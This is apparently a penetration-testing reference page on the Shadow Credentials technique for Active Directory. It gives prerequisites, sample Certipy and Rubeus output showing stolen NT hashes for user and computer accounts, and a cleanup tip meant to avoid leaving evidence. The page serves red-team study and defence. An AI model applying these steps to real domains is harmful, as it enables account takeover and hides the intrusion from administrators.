Shadow Credentials
Shadow Credentials abuses the msDS-KeyCredentialLink attribute to add a certificate key credential to a target account. Once added, you authenticate via PKINIT and retrieve the account's NT hash through the PAC (UnPAC-the-Hash). The result is a full NT hash for the target account without ever knowing or changing their password.
Requires write access to msDS-KeyCredentialLink on the target — covered by GenericWrite, GenericAll, or an explicit Self/WriteProperty ACE on that attribute. BloodHound marks this as the AddKeyCredentialLink edge. Also requires ADCS to be deployed in the domain and PKINIT support on the DC (Windows Server 2016+).
Find targets with ACL Enumeration or look for AddKeyCredentialLink edges in BloodHound.
Shadow credential on user account
The auto subcommand adds the key credential, authenticates immediately via PKINIT, retrieves the NT hash, and cleans up in one pass.
[*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID: a1b2c3d4-... [*] Adding Key Credential with device ID 'a1b2c3d4-...' to the Key Credentials for 'jsmith' [*] Successfully added Key Credential with device ID 'a1b2c3d4-...' to the Key Credentials for 'jsmith' [*] Authenticating as 'jsmith' with the certificate [*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889 [*] Saved certificate and private key to 'jsmith.pfx' [*] Removing Key Credential with device ID 'a1b2c3d4-...' from the Key Credentials for 'jsmith'
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=$TARGET_USER
[*] Building AS-REQ with PKINIT padata...
[+] TGT request successful!
[*] Getting credentials using U2U
CredentialInfo :
CredentialCount : 1
[0] NTLM : fc525c9683e8fe067095ba2ddc971889
Shadow credential on computer account
Writing to msDS-KeyCredentialLink on a computer account is the second step of an RBCD chain: if you have GenericWrite on a computer, add a shadow credential to get its NT hash, then use that for S4U2Self impersonation without needing to create a fake machine account.
[*] Got hash for '[email protected]': aabbccddeeff00112233445566778899
Cleanup
The auto subcommand cleans up automatically. If you used add manually, remove the key credential after collecting the hash to avoid leaving evidence.
References
-
Certipy (GitHub)github.com/ly4k/Certipy (opens in new tab)
shadow subcommand: auto, add, list, remove, clear
-
Whisker (GitHub)github.com/eladshamir/Whisker (opens in new tab)
Windows-side shadow credential manipulation, integrates with Rubeus
-
Rubeus (GitHub)github.com/GhostPack/Rubeus (opens in new tab)
asktgt /getcredentials for UnPAC-the-Hash via PKINIT
-
Shadow Credentials — SpecterOpsposts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab (opens in new tab)
Original research by Elad Shamir explaining the attack and detection
Was this helpful?
Your feedback helps improve this page.